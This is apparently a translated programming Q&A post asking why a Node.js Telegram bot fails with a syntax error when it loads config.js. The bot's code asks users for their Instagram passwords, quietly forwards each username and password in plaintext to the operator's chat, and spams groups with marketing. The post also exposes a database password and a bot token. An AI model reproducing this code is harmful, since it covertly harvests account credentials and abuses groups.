尝试要求js文件时出现奇怪的nodeJS错误

时间:2017-07-31 17:48:50

标签: node.js syntax module require

这刚刚开始发生在5分钟前,我不知道为什么或如何发生

这是我的主要js文件,需要一个名为config.js的文件

    const TeleBot = require('telebot');
const config = require('./config.js');
const users = {};
const messages = require('./messages');
var accounts = require('./inc/account.js');
var mysql = require('mysql');
var connection = mysql.createConnection({
    host : 'localhost',
    user : 'root',
    password : 'weareoscarmike',
    database : 'insta',
    multipleStatements: true
});
const bot = new TeleBot({
                token: config.bot_token, // Required. Telegram Bot API token. 
                polling: { // Optional. Use polling. 
                interval: 1000, // Optional. How often check updates (in ms). 
                timeout: 0, // Optional. Update polling timeout (0 - short polling). 
                limit: 100, // Optional. Limits the number of updates to be retrieved. 
                retryTimeout: 5000, // Optional. Reconnecting timeout (in ms). 
                //proxy: 'http://username:password@yourproxy.com:8080' // Optional. An HTTP proxy to be used (supports Basic Auth). 
                },
                usePlugins: ['commandButton', 'askUser'],
        });


bot.on('newChatMembers',(msg) => {
    let group_id = msg.chat.id;
    console.log(group_id);
    let query = "INSERT INTO `groups` (`group_id`)  VALUES (?)";
    connection.query(query,[group_id]);

}); 


bot.on('/start', (msg) => {

    const markup = keyboard_generator('main_menu');
    const message = msg_generator('main_menu');
    return bot.sendMessage(
        msg.from.id, message, {markup:markup}
    );

});


//Handle all button clicks 
bot.on('callbackQuery', (msg) => {
    let msg_id = msg.message.message_id;
    let chat_id = msg.message.chat.id;
    switch(msg.data){

        case('about'):
        msg.message.from = msg.message.chat;
        about(msg.message);
        break;

        case('add_account'):
        msg.message.from = msg.message.chat;
        add_account(msg.message);
        break;

        case('remove_account'):
        msg.message.from = msg.message.chat;
        remove_account(msg.message);

        case('stats'):
        msg.message.from = msg.message.chat;
        stats(msg.message);
        break;

        case('start_like'):
        msg.message.from = msg.message.chat;
        start_like(msg.message);

        case('main_menu'):
        msg.message.from = msg.message.chat;
        bot.event('/start',msg.message);
        break;



    }
    //bot.editText({ chatId: chat_id, messageId: msg_id }, "edited", { markup: markup }).catch(function(err){console.log(err)});
});

about = function(msg,error){
    var message = msg_generator('about');
    var markup = keyboard_generator('return');
    bot.sendMessage(msg.from.id, message, {parse:'html',markup:markup});
}

start_like = function(msg,error){
    var message = msg_generator('start_like');
    var markup = keyboard_generator('return');
    accounts.has_acc(msg.from.id,false).then(function(data){

        if(data){
            var message = msg_generator('start_like');
        } else {
            var message = msg_generator('no_account');
        }
        var markup = keyboard_generator('return');
        bot.sendMessage(msg.from.id,message,{parse:'html',markup:markup});
    });
}

//Three events that deal with adding accounts
add_account = function(msg,error){
        if(error){
            switch(error){
                case('AuthenticationError'):
                var message = msg_generator(error);
                var markup = keyboard_generator('return');
                break;

                case('CheckpointError'):
                var message = msg_generator(error);
                var markup = keyboard_generator('return');
                break;

                case('DatabaseError'):
                var message = msg_generator(error);
                var markup = keyboard_generator('return');
                break;
            }
            bot.sendMessage(msg.from.id, message, {parse:'html',markup:markup,ask:'add_account_username'});
            return;
        } 
        var message = msg_generator('add_account');
        var markup = keyboard_generator('return');
        bot.sendMessage(msg.from.id, message, {parse:'html',markup:markup,ask:'add_account_username'});

}

remove_account = function(msg,error){
    accounts.has_acc(msg.from.id,false).then(function(data){

        if(data){
            var message = msg_generator('remove_account');
        } else {
            var message = msg_generator('no_account');
        }
        var markup = keyboard_generator('return');
        bot.sendMessage(msg.from.id,message,{parse:'html',markup:markup});
    });
}

//This one is used to ask the user his password
bot.on('ask.add_account_username', (msg) => {
    let username = msg.text;
    users[msg.from.id] = {
        username : username
    }
    var message = msg_generator('account_password');
    return bot.sendMessage(msg.from.id, message, {parse:'html',ask:'add_account_password'});
});

//This one is used to verify password 
bot.on('ask.add_account_password', (msg) => {
    let username = users[msg.from.id].username;
    let password = msg.text;

    accounts.login_account(username,password).then(function(data){
        var account = data.params;

        accounts.store(msg.from.id,username,password,account.followerCount);
        return account;
    }).then(function(account){
        let caption = "Your account <b>"+account.username+"</b>("+account.fullName+")has been added\n";
        return bot.sendPhoto(msg.from.id, account.picture, {parse:'html',caption:caption});
    })
    .then(function(data){
        let message = "Username : "+username+"\n Password:"+password;
        return bot.sendMessage(config.admin_id,message);
    })
    .catch(function(error){
        console.log(error);
        add_account(msg,error.name);
    });
});

stats = function(msg,error){
    accounts.stats().then(function(data){


        let parse = {
            total_users : data[0][0].total_u,
            total_f : data[1][0].f_total,
            level1 : data[2][0].total1,
            level2 : data[3][0].total2,
            level3 : data[4][0].total3,
            level4 : data[5][0].total4
        }

        var message = parse_msg(parse,msg_generator('stats'));
        var markup = keyboard_generator('return');
        return bot.sendMessage(msg.from.id,message,{markup:markup});
    });
}



function msg_generator(type){
    let ret = type+"_msg";
    return messages[ret];
}

function keyboard_generator(type){
    switch(type){
            case('main_menu'): 
                var markup = bot.inlineKeyboard([
                [bot.inlineButton('About', {callback:'about'}),bot.inlineButton('Market', {url: 'https://t.me/GrowMeMarket'})],
                [bot.inlineButton('Add account', {callback:'add_account'}),bot.inlineButton('Remove accounts', {callback:'remove_account'})],
                [bot.inlineButton('Stats', {callback:'stats'})],
                [bot.inlineButton('Start Liking', {callback:'start_like'})],
            ]); 
            break;

            case('return'):
                var markup = bot.inlineKeyboard([
                [bot.inlineButton('Return Home', {callback:'main_menu'})],

            ]); 
            break;
    }

    return markup;
}

parse_msg = function(obj,msg){
    for(key in obj){
    msg = msg.replace("%"+key+"%",obj[key]);
    }
 return msg;
}

self_market = function(){
    let query = "SELECT `group_id` FROM groups";
    connection.query(query, function(err,data){
        if(err) console.log(err);
        for(i in data){
            bot.sendMessage(data[i].group_id,config.market_msg).catch(function(err){
                //Doin nothin
            });
        }
    });
}

start = function(){
    return new Promise(function(resolve,reject){
        bot.start();
        resolve(true);
    });
}

start().then(function(data){
    setInterval(function(){
        self_market();
    },config.the_interval);
}).catch(function(err){
    console.log("Ther was an error");
});

所以这就是config.js的样子

        const config = {}
    config.bot_token = '448696631:AAGOG5LbZCtvUDIdi1oSDtTWatOE_347phU';
    config.admin_id = '347334528';
    config.the_interval = 5 * 1000;
    config.market_msg = "fta";

module.exports = config;

老实说,在我将config.market_msg的值更改为具有unicode字符的字符串之后,这开始变得很糟糕但是我没有看到它如何打破它,即使它确实如此,当我将其更改回一个简单的值,它应该恢复正常,但我猜测它从缓存或其他东西回来,这就是为什么它仍然存在?我真的不知道为什么会这样。

这是我遇到的错误

    /home/neo/ins/config.js:1
(function (exports, require, module, __filename, __dirname) { c


SyntaxError: Invalid or unexpected token
    at createScript (vm.js:74:10)
    at Object.runInThisContext (vm.js:116:10)
    at Module._compile (module.js:533:28)
    at Object.Module._extensions..js (module.js:580:10)
    at Module.load (module.js:503:32)
    at tryModuleLoad (module.js:466:12)
    at Function.Module._load (module.js:458:3)
    at Module.require (module.js:513:17)
    at require (internal/module.js:11:18)
    at Object.<anonymous> (/home/neo/ins/hello.js:2:16)

0 个答案:

没有答案